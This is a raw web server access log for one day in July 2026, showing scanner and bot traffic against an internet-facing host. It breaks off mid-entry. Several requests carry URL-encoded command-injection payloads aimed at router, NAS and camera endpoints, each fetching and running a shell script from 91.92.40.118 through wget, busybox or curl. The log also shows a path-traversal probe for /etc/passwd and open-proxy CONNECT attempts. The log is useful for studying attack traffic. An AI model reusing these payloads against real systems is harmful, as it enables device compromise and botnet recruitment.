45.198.224.5 - - [11/Jul/2026:00:01:08 +0200] "GET /login HTTP/1.1" 404 723 94.154.43.230 - - [11/Jul/2026:00:28:16 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 198.235.24.186 - - [11/Jul/2026:00:39:53 +0200] "GET / HTTP/1.0" 200 1895 141.98.11.11 - - [11/Jul/2026:00:50:17 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:58:39 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:00:58:42 +0200] "POST /hndUnblock.cgi HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:00:58:44 +0200] "GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60 HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:00:58:47 +0200] "GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60 HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:00:58:49 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:00:58:52 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:58:54 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:58:55 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:58:58 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:00 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:59:03 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:06 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:59:08 +0200] "POST /storage/apply.cgi HTTP/1.1" 404 739 45.153.34.219 - - [11/Jul/2026:00:59:10 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:00:59:13 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:15 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:17 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:19 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:22 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:25 +0200] "GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo HTTP/1.1" 404 729 45.153.34.219 - - [11/Jul/2026:00:59:27 +0200] "GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:30 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:32 +0200] "GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda HTTP/1.1" 404 749 45.153.34.219 - - [11/Jul/2026:00:59:35 +0200] "GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs HTTP/1.1" 404 729 45.153.34.219 - - [11/Jul/2026:00:59:37 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:00:59:39 +0200] "POST /login.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:00:59:41 +0200] "POST /diagnostic.php HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:00:59:43 +0200] "GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel; HTTP/1.1" 404 739 45.153.34.219 - - [11/Jul/2026:00:59:46 +0200] "GET /cgi-bin/;cd null" 505 1817 45.153.34.219 - - [11/Jul/2026:00:59:48 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:00:59:50 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:00:59:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:00:59:54 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:00:59:57 +0200] "POST /api/tunnel/tailscale-install HTTP/1.1" 404 754 45.153.34.219 - - [11/Jul/2026:01:00:00 +0200] "POST /api/network/settings HTTP/1.1" 404 746 45.153.34.219 - - [11/Jul/2026:01:00:02 +0200] "POST /web/google_analytics.php HTTP/1.1" 404 746 45.153.34.219 - - [11/Jul/2026:01:00:05 +0200] "GET /index.php HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:01:00:07 +0200] "POST /cgi-bin/PingTest.cgi HTTP/1.1" 404 742 45.153.34.219 - - [11/Jul/2026:01:00:09 +0200] "GET /cgi-bin/weblogin.cgi?username=admin%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP/1.1" 404 742 45.153.34.219 - - [11/Jul/2026:01:00:12 +0200] "POST /cgi-bin/weblogin.cgi HTTP/1.1" 404 742 45.153.34.219 - - [11/Jul/2026:01:00:14 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:01:00:16 +0200] "POST /DroboPix/api/drobopix/demo HTTP/1.1" 404 756 45.153.34.219 - - [11/Jul/2026:01:00:19 +0200] "GET /timeHandler.cgi?time=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60 HTTP/1.1" 404 733 45.153.34.219 - - [11/Jul/2026:01:00:21 +0200] "POST /cgi-bin/ping.cgi HTTP/1.1" 404 738 45.153.34.219 - - [11/Jul/2026:01:00:23 +0200] "POST /login.php HTTP/1.1" 404 727 45.205.1.246 - - [11/Jul/2026:01:09:04 +0200] "GET / HTTP/1.1" 200 1895 45.205.1.246 - - [11/Jul/2026:01:09:04 +0200] "GET /favicon.ico HTTP/1.1" 404 729 162.217.100.201 - - [11/Jul/2026:01:42:47 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.201 - - [11/Jul/2026:01:42:47 +0200] "GET /favicon.ico HTTP/1.1" 404 729 35.202.9.133 - - [11/Jul/2026:01:46:11 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.41 - - [11/Jul/2026:01:58:03 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.41 - - [11/Jul/2026:01:58:04 +0200] "GET /favicon.ico HTTP/1.1" 404 729 94.154.43.66 - - [11/Jul/2026:02:06:28 +0200] "GET /login HTTP/1.1" 404 723 94.154.43.254 - - [11/Jul/2026:02:24:39 +0200] "GET /login HTTP/1.1" 404 723 204.76.203.51 - - [11/Jul/2026:02:58:43 +0200] "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 400 813 18.218.118.203 - - [11/Jul/2026:03:01:07 +0200] "GET / HTTP/1.1" 200 1895 18.218.118.203 - - [11/Jul/2026:03:01:44 +0200] "GET / HTTP/1.1" 200 1895 18.218.118.203 - - [11/Jul/2026:03:03:56 +0200] "-" 400 1930 18.218.118.203 - - [11/Jul/2026:03:05:25 +0200] "-" 400 1930 20.124.87.13 - - [11/Jul/2026:04:31:55 +0200] "-" 400 1930 162.217.100.196 - - [11/Jul/2026:04:33:50 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.196 - - [11/Jul/2026:04:33:50 +0200] "GET /favicon.ico HTTP/1.1" 404 729 35.240.150.209 - - [11/Jul/2026:04:46:32 +0200] "GET / HTTP/1.1" 200 1895 35.240.150.209 - - [11/Jul/2026:04:46:32 +0200] "GET /valid8.php HTTP/1.1" 404 728 35.240.150.209 - - [11/Jul/2026:04:46:33 +0200] "GET /RECORDINGS/ HTTP/1.1" 404 733 94.154.43.254 - - [11/Jul/2026:05:02:53 +0200] "GET /login HTTP/1.1" 404 723 141.98.11.11 - - [11/Jul/2026:05:04:36 +0200] "GET / HTTP/1.1" 200 1895 65.49.1.38 - - [11/Jul/2026:05:53:31 +0200] "GET / HTTP/1.1" 200 1895 65.49.1.38 - - [11/Jul/2026:05:55:38 +0200] "GET /favicon.ico HTTP/1.1" 404 729 45.198.224.60 - - [11/Jul/2026:05:55:49 +0200] "GET / HTTP/1.1" 200 1895 65.49.1.44 - - [11/Jul/2026:05:57:03 +0200] "GET /?format=json HTTP/1.1" 200 1895 65.49.1.42 - - [11/Jul/2026:05:57:24 +0200] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 804 65.49.1.38 - - [11/Jul/2026:05:57:48 +0200] "GET /geoserver/web/ HTTP/1.1" 404 740 3.89.209.40 - - [11/Jul/2026:05:58:12 +0200] "GET / HTTP/1.1" 200 1895 65.49.20.67 - - [11/Jul/2026:06:08:16 +0200] "-" 400 1930 193.8.186.29 - - [11/Jul/2026:06:21:22 +0200] "-" 400 1930 193.8.186.29 - - [11/Jul/2026:06:21:23 +0200] "GET / HTTP/1.1" 200 1895 5.61.209.92 - - [11/Jul/2026:06:24:38 +0200] "GET /SDK/webLanguage HTTP/1.1" 404 737 94.154.43.230 - - [11/Jul/2026:07:05:38 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 162.217.100.36 - - [11/Jul/2026:07:09:04 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.36 - - [11/Jul/2026:07:09:04 +0200] "GET /favicon.ico HTTP/1.1" 404 729 44.220.188.65 - - [11/Jul/2026:07:14:58 +0200] "GET / HTTP/1.1" 200 1895 2.57.17.109 - - [11/Jul/2026:07:17:12 +0200] "GET /zc?action=getInfo HTTP/1.1" 404 720 194.50.235.137 - - [11/Jul/2026:07:17:22 +0200] "GET / HTTP/1.1" 200 1895 195.206.182.199 - - [11/Jul/2026:07:17:22 +0200] "GET /favicon.ico HTTP/1.1" 404 729 31.14.254.20 - - [11/Jul/2026:07:17:22 +0200] "POST / HTTP/1.1" 200 1895 5.226.140.29 - - [11/Jul/2026:07:17:22 +0200] "POST /mcp HTTP/1.1" 404 721 195.206.182.204 - - [11/Jul/2026:07:17:22 +0200] "GET /sse HTTP/1.1" 404 721 118.193.37.50 - - [11/Jul/2026:07:36:32 +0200] "GET / HTTP/1.1" 200 1895 118.193.37.50 - - [11/Jul/2026:07:36:32 +0200] "-" 400 1930 45.198.224.5 - - [11/Jul/2026:08:29:37 +0200] "GET /login HTTP/1.1" 404 723 94.154.43.230 - - [11/Jul/2026:08:40:48 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 204.76.203.78 - - [11/Jul/2026:08:55:34 +0200] "CONNECT proxy2.proxiesfood.com:443 HTTP/1.1" 400 804 204.76.203.80 - - [11/Jul/2026:08:55:34 +0200] "-" 400 1930 204.76.203.79 - - [11/Jul/2026:08:55:34 +0200] "CONNECT proxy2.proxiesfood.com:443 HTTP/1.1" 400 804 204.76.203.79 - - [11/Jul/2026:08:55:34 +0200] "-" 400 1930 204.76.203.79 - - [11/Jul/2026:08:55:34 +0200] "CONNECT proxy2.proxiesfood.com:443 HTTP/1.1" 400 804 204.76.203.79 - - [11/Jul/2026:08:55:34 +0200] "-" 400 1930 45.198.224.244 - - [11/Jul/2026:09:17:50 +0200] "GET / HTTP/1.1" 200 1895 45.198.224.244 - - [11/Jul/2026:09:17:51 +0200] "POST / HTTP/1.1" 200 1895 45.198.224.244 - - [11/Jul/2026:09:17:52 +0200] "POST /_next HTTP/1.1" 404 723 45.198.224.244 - - [11/Jul/2026:09:17:52 +0200] "POST /api HTTP/1.1" 404 721 45.198.224.244 - - [11/Jul/2026:09:17:53 +0200] "POST /_next/server HTTP/1.1" 404 734 45.198.224.244 - - [11/Jul/2026:09:17:53 +0200] "POST /app HTTP/1.1" 404 721 45.198.224.244 - - [11/Jul/2026:09:17:54 +0200] "POST /api/route HTTP/1.1" 404 731 47.245.142.112 - - [11/Jul/2026:09:55:38 +0200] "OPTIONS / HTTP/1.0" 200 - 47.245.142.112 - - [11/Jul/2026:09:55:38 +0200] "GET / HTTP/1.1" 200 1895 123.160.223.74 - - [11/Jul/2026:09:56:00 +0200] "GET / HTTP/1.1" 200 1895 123.160.223.74 - - [11/Jul/2026:09:56:01 +0200] "GET /favicon.ico HTTP/1.1" 404 729 194.165.16.165 - - [11/Jul/2026:09:57:11 +0200] "-" 400 1930 94.26.88.19 - - [11/Jul/2026:10:55:38 +0200] "GET /config/getuser?index=0 HTTP/1.1" 404 736 94.154.43.254 - - [11/Jul/2026:11:08:16 +0200] "GET /login HTTP/1.1" 404 723 94.154.43.243 - - [11/Jul/2026:11:52:32 +0200] "GET /SDK/webLanguage HTTP/1.1" 404 737 66.132.186.199 - - [11/Jul/2026:11:55:36 +0200] "-" 400 1930 66.132.186.199 - - [11/Jul/2026:11:55:41 +0200] "GET / HTTP/1.1" 200 1895 66.132.186.199 - - [11/Jul/2026:11:55:45 +0200] "GET /favicon.ico HTTP/1.1" 404 729 66.132.186.199 - - [11/Jul/2026:11:56:27 +0200] "-" 400 1930 66.132.186.199 - - [11/Jul/2026:11:56:28 +0200] "GET /.well-known/security.txt HTTP/1.1" 404 746 45.205.1.242 - - [11/Jul/2026:12:21:04 +0200] "GET / HTTP/1.1" 200 1895 45.205.1.242 - - [11/Jul/2026:12:21:05 +0200] "GET /favicon.ico HTTP/1.1" 404 729 45.198.224.5 - - [11/Jul/2026:12:42:54 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 160.119.76.106 - - [11/Jul/2026:12:45:48 +0200] "GET / HTTP/1.1" 200 1895 160.119.76.106 - - [11/Jul/2026:12:45:48 +0200] "-" 400 1930 160.119.76.106 - - [11/Jul/2026:12:55:44 +0200] "GET //admin/config.php HTTP/1.1" 404 743 160.119.76.106 - - [11/Jul/2026:12:55:44 +0200] "-" 400 1930 205.210.31.236 - - [11/Jul/2026:13:05:25 +0200] "GET / HTTP/1.1" 200 1895 141.98.11.11 - - [11/Jul/2026:14:40:49 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:50 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.231 - - [11/Jul/2026:14:47:50 +0200] "POST /hndUnblock.cgi HTTP/1.1" 404 732 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60 HTTP/1.1" 404 732 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60 HTTP/1.1" 404 731 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /storage/apply.cgi HTTP/1.1" 404 739 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo HTTP/1.1" 404 729 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:51 +0200] "GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda HTTP/1.1" 404 749 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs HTTP/1.1" 404 729 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /login.cgi HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /diagnostic.php HTTP/1.1" 404 732 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel; HTTP/1.1" 404 739 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /cgi-bin/;cd null" 505 1817 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /api/tunnel/tailscale-install HTTP/1.1" 404 754 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /api/network/settings HTTP/1.1" 404 746 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /web/google_analytics.php HTTP/1.1" 404 746 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /index.php HTTP/1.1" 404 727 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /cgi-bin/PingTest.cgi HTTP/1.1" 404 742 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /cgi-bin/weblogin.cgi?username=admin%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP/1.1" 404 742 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /cgi-bin/weblogin.cgi HTTP/1.1" 404 742 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /DroboPix/api/drobopix/demo HTTP/1.1" 404 756 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "GET /timeHandler.cgi?time=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60 HTTP/1.1" 404 733 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /cgi-bin/ping.cgi HTTP/1.1" 404 738 45.153.34.231 - - [11/Jul/2026:14:47:52 +0200] "POST /login.php HTTP/1.1" 404 727 94.154.43.66 - - [11/Jul/2026:15:14:40 +0200] "GET /login HTTP/1.1" 404 723 5.61.209.92 - - [11/Jul/2026:15:26:34 +0200] "GET /SDK/webLanguage HTTP/1.1" 404 737 18.97.5.85 - - [11/Jul/2026:15:51:09 +0200] "GET / HTTP/1.1" 200 1895 94.154.43.254 - - [11/Jul/2026:15:57:06 +0200] "GET /login HTTP/1.1" 404 723 195.178.110.137 - - [11/Jul/2026:16:00:56 +0200] "-" 400 1930 195.178.110.137 - - [11/Jul/2026:16:00:56 +0200] "-" 400 1930 195.178.110.137 - - [11/Jul/2026:16:00:56 +0200] "CONNECT 104.16.185.241:443 HTTP/1.1" 400 804 23.97.62.118 - - [11/Jul/2026:16:01:17 +0200] "-" 400 1930 23.97.62.118 - - [11/Jul/2026:16:05:00 +0200] "GET / HTTP/1.1" 200 1895 23.97.62.118 - - [11/Jul/2026:16:05:05 +0200] "-" 400 1930 45.205.1.241 - - [11/Jul/2026:16:15:13 +0200] "GET / HTTP/1.1" 200 1895 45.205.1.241 - - [11/Jul/2026:16:15:14 +0200] "GET /favicon.ico HTTP/1.1" 404 729 45.198.224.5 - - [11/Jul/2026:16:29:59 +0200] "GET /login HTTP/1.1" 404 723 18.97.26.6 - - [11/Jul/2026:17:16:31 +0200] "GET / HTTP/1.1" 200 1895 44.220.188.101 - - [11/Jul/2026:17:28:01 +0200] "GET / HTTP/1.1" 200 1895 172.105.199.92 - - [11/Jul/2026:17:28:28 +0200] "CONNECT httpbin.org:443 HTTP/1.1" 400 804 172.105.199.92 - - [11/Jul/2026:17:28:28 +0200] "CONNECT api.myip.la:443 HTTP/1.1" 400 804 185.107.80.93 - - [11/Jul/2026:17:35:22 +0200] "-" 400 1930 185.107.80.93 - - [11/Jul/2026:17:35:22 +0200] "GET / HTTP/1.1" 200 1895 74.235.184.174 - - [11/Jul/2026:18:09:54 +0200] "-" 400 1930 94.154.43.66 - - [11/Jul/2026:18:25:46 +0200] "GET /login HTTP/1.1" 404 723 162.217.100.196 - - [11/Jul/2026:18:27:31 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.196 - - [11/Jul/2026:18:27:31 +0200] "GET /favicon.ico HTTP/1.1" 404 729 45.63.4.69 - - [11/Jul/2026:18:40:36 +0200] "GET / HTTP/1.1" 200 1895 66.132.172.210 - - [11/Jul/2026:19:07:43 +0200] "GET / HTTP/1.1" 200 1895 66.132.172.210 - - [11/Jul/2026:19:07:46 +0200] "-" 400 1930 66.132.172.210 - - [11/Jul/2026:19:07:47 +0200] "GET / HTTP/1.1" 200 1895 66.132.172.210 - - [11/Jul/2026:19:07:51 +0200] "GET /favicon.ico HTTP/1.1" 404 729 66.132.172.210 - - [11/Jul/2026:19:07:57 +0200] "-" 400 1930 66.132.172.210 - - [11/Jul/2026:19:08:06 +0200] "GET /sitemap.xml HTTP/1.1" 404 729 45.142.193.144 - - [11/Jul/2026:19:37:02 +0200] "-" 400 1930 45.153.34.219 - - [11/Jul/2026:20:13:40 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:20:13:43 +0200] "POST /hndUnblock.cgi HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:20:13:45 +0200] "GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60 HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:20:13:47 +0200] "GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60 HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:20:13:50 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 731 45.153.34.219 - - [11/Jul/2026:20:13:52 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:20:13:55 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:13:57 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:20:13:59 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:01 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:20:14:04 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:06 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:20:14:09 +0200] "POST /storage/apply.cgi HTTP/1.1" 404 739 45.153.34.219 - - [11/Jul/2026:20:14:11 +0200] "GET / HTTP/1.1" 200 1895 45.153.34.219 - - [11/Jul/2026:20:14:14 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:17 +0200] "POST /apply.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:19 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:22 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:24 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:26 +0200] "GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo HTTP/1.1" 404 729 45.153.34.219 - - [11/Jul/2026:20:14:29 